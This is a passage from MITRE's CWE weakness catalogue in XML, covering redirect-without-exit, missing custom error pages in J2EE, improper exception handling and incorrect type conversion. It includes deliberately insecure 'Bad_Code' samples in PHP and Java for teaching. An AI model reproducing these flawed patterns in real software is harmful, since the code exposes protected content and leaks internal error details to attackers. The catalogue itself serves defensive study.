					          <Mapped_Node_Name>Ensure that return values are compared against the proper
						type</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>14</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>174</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>182</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>19</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>199</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>24</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>244</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>32</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>34</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>4</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>41</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>44</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>45</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>46</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>47</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>52</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>53</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>6</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>66</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>67</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>7</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>73</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>8</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>88</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>9</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>91</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>92</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="698" Name="Redirect Without Exit" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The web application sends a redirect to another location, but
					instead of exiting, it executes additional code.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>705</Relationship_Target_ID>
					          <!--Incorrect Control Flow Scoping-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>670</Relationship_Target_ID>
					          <!--Always-Incorrect Control Flow Implementation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness could affect the control flow of the application and
							allow execution of untrusted code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>This issue might not be detected if testing is performed using a web
							browser, because the browser might obey the redirect and move the user
							to a different page before the application has produced outputs that
							indicate something is amiss.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code queries a server and displays its status when a request
						comes from an authorized IP address. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$requestingIP = $_SERVER['REMOTE_ADDR'];</Code>
							              <Code>if(!in_array($requestingIP,$ipWhitelist)){</Code>
							              <Block>
								                <Code>echo "You are not authorized to view this page";</Code>
								                <Code>http_redirect($errorPageURL);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>$status = getServerStatus();</Code>
							              <Code>echo $status;</Code>
							              <Comment>...</Comment>
						            </Block>
						            <Text> This code redirects unauthorized users, but continues to execute code
							after calling http_redirect(). This means even unauthorized users may be
							able to access the contents of the page or perform a DoS attack on the
							server being queried. Also, note that this code is vulnerable to an IP
							address spoofing attack (CWE-212).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="7" Name="J2EE Misconfiguration: Missing Custom Error Page" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The default error page of a web application should not display
					sensitive information about the software system.</Description_Summary>
				        <Extended_Description>
					          <Text>A Web application must define a default error page for 4xx errors (e.g.
						404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to
						prevent attackers from mining information from the application container's
						built-in error response.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>4</Relationship_Target_ID>
					          <!--J2EE Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>756</Relationship_Target_ID>
					          <!--Missing Custom Error Page-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>When an attacker explores a web site looking for vulnerabilities, the
						amount of information that the site provides is crucial to the eventual
						success or failure of any attempted attacks. If the application shows the
						attacker a stack trace, it relinquishes information that makes the
						attacker's job significantly easier. For example, a stack trace might show
						the attacker a malformed SQL query string, the type of database being used,
						and the version of the application container. This information enables the
						attacker to target known vulnerabilities in these components. The
						application configuration should specify a default error page in order to
						guarantee that the application will never leak error messages to an
						attacker. Handling standard HTTP error codes is useful and user-friendly in
						addition to being a good security practice, and a good configuration will
						also define a last-chance error handler that catches any exception that
						could possibly be thrown by the application.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Handle exceptions appropriately in source code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always define appropriate error pages.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not attempt to process an error or attempt to mask it.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Verify return values are correct and do not supply sensitive
							information about the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-76">
					          <Intro_Text>In the snippet below, an unchecked runtime exception thrown from
						within the try block may cause the container to display its default error
						page (which may contain a full stack trace, among other
						things).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Public void doPost(HttpServletRequest request, HttpServletResponse
								response) throws ServletException, IOException {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>} catch (ApplicationSpecificException ase) {</Code>
								                <Block>
									                  <Code>logger.error("Caught: " + ase.toString());</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Author>J. Viega</Reference_Author>
					          <Reference_Title>19 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Publisher>McGraw-Hill/Osborne</Reference_Publisher>
					          <Reference_PubDate>2005</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>J2EE Misconfiguration: Missing Error
						Handling</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">J2EE Misconfiguration:
						Missing Error Handling</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="703" Name="Improper Check or Handling of Exceptional Conditions" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly anticipate or handle exceptional
					conditions that rarely occur during normal operation of the
					software.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is a high-level class that might have some overlap with other
						classes. It could be argued that even "normal" weaknesses such as buffer
						overflows involve unusual or exceptional conditions. In that sense, this
						might be an inherent aspect of most other weaknesses within CWE, similar to
						API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However,
						this entry is currently intended to unify disparate concepts that do not
						have other places within the Research Concepts view (CWE-1000).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <References>
				        <Reference>
					          <Reference_Author>Taimur Aslam</Reference_Author>
					          <Reference_Title>A Taxonomy of Security Faults in the UNIX Operating
						System</Reference_Title>
					          <Reference_Date>1995-08-01</Reference_Date>
					          <Reference_Link>http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-msthesis.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Taimur Aslam</Reference_Author>
					          <Reference_Author>Ivan Krsul</Reference_Author>
					          <Reference_Author>Eugene H. Spafford</Reference_Author>
					          <Reference_Title>Use of A Taxonomy of Security Faults</Reference_Title>
					          <Reference_Date>1995-08-01</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/nissc/1996/papers/NISSC96/paper057/PAPER.PDF</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 8: C++ Catastrophes." Page 143</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not throw undeclared checked exceptions</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and handle memory allocation errors</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee exception safety</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR39-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name, Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Handle Exceptional
						Conditions</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="704" Name="Incorrect Type Conversion or Cast" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not correctly convert an object, resource or
					structure from one type to a different type.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
